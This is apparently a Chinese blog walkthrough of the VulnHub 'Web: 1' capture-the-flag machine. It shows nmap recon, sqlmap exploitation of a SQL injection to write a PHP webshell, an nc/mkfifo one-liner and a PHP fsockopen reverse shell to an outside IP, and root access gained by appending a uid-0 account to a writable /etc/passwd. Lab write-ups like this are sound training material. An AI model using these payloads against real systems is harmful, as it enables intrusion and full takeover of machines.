Vulnhub_WEB1靶机渗透测试

WEB:1

AI: Web: 1 ~ VulnHub

该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到根

信息收集

  1. 使用nmap对网段和目标主机进行扫描 nmap -sT -sV -O 192.168.78.152

web渗透

  1. 发现目标主机只开放了80端口,只有网站可以进行渗透,而且存在robots.txt文件,对其进行访问
  2. 发现两个目录都被禁止访问了,可能都缺少权限吧
  3. 再使用dirb对se3re目录进行扫描,发现了存在index.php文件,访问该目录发现了提交框

image-20230620224700375

  1. 提交1发现似乎是存在SQL注入漏洞,对其变量类型进行测试发现是字符型注入

    image-20230620225055942

    image-20230620224942536

image-20230620224856535

  1. 接下来就直接使用sqlmap对SQL注入进行利用了,测试了一下没有过滤命令,抓包将数据包保存为web1.txt,毕竟是post参数。post的值写入到–data中

image-20230620225115545

image-20230620225122269

  1. 发现sqlmap可以成功跑下来,对数据库内容进行查看没有发现什么有用信息,毕竟没有登录的界面,也没有开放ssh。但是想到联合注入是可以进行写shell的。直接使用payload获取shellpython sqlmap.py -r test/web1.txt --data "uid=" -level 3 --os-shell 获取shell的level等级必须大于3

image-20230620225340715

  1. 填写一些主要的参数,shell的语言类型,2,上传的路径地址三个条件

image-20230620225533915

  1. 返回了shell框,输入id发现成功获取了shell

image-20230620225638550

  1. 访问产生的shell文件地址,发现是一个提交框,可以上传自己本地的木马,那就不客气了,进行文件上传 这是sqlmap生成的文件提交框

image-20230620225719836

  1. 使用蚁剑连接该目录,成功获取了权限

image-20230620225818865

  1. 另外还可以直接写shell文件到目标主机的目录中payload为 python sqlmap.py -u "http://192.168.78.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write "E:\Web\oneword.php" --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php

image-20230620225910922

image-20230620225916615

  1. 使用蚁剑测试链接效果
image-20230621144248248

获取shell

  1. 打开蚁剑的虚拟终端,将shell反弹到虚拟机上

  2. 挣扎了半天能使用的都尝试了,失败告终 rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.78.145 7878 >/tmp/f

  3. 最终使用php代码执行获取了shell权限

<?php
$sock=fsockopen("192.168.78.145",7878);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

image-20230621151408277

image-20230621151402893

image-20230621151324286

权限提升

  1. 没什么思路,没有ssh服务,所以不会有ssh登录的可能,find查找suid提权也没有,sudo -l也没信息
  2. 通过了解得知类似于DC-9靶机的对/etc/passwd写入账号密码来进行提权。查看一下passwd的权限,发现竟然是web权限就可以编译。那看来就是创建root账号密码了

image-20230621153129773

  1. 查看了一下suoders的权限,发现只能是root用户,所以不能直接写入用户名和权限了

image-20230621153348658

  1. 用openssl生成用户,用户名为hacker密码123456 openssl passwd -1 -salt hacker 123456 $1$hacker$6luIRwdGpBvXdP.GMwcZp/

image-20230621154740941

  1. 现在就要了解一下passwd文件下保存的账号密码的格式了
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash
  1. 使用echo 格式 >> /etc/passwd文件中。 命令为echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

  2. 查看passwd写入的账号密码信息

image-20230621154913966

  1. 切换到hacker用户 su - hacker

image-20230621154951300

  1. 来到root目录下查看flag文件

image-20230621155009055

总结

  1. 了解了使用sqlmap获取shell和上传shell的操作 需要联合注入的条件下
  2. 扫描出来的目录都没有权限查看,一定还有隐藏的目录可以查看,可以尝试回退一级来查看,或者使用dirb再来对每个能访问的目录进行扫描
  3. 反弹shell的方式很多,nc bash不行,可以直接执行php或者python代码写的反弹shell文件
  4. 没有ssh连接,也没有suid提权,可以去看看sudo -l 和 /etc/passwd,/etc/sudoers文件的权限,查看是否可以写入来获取root权限
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值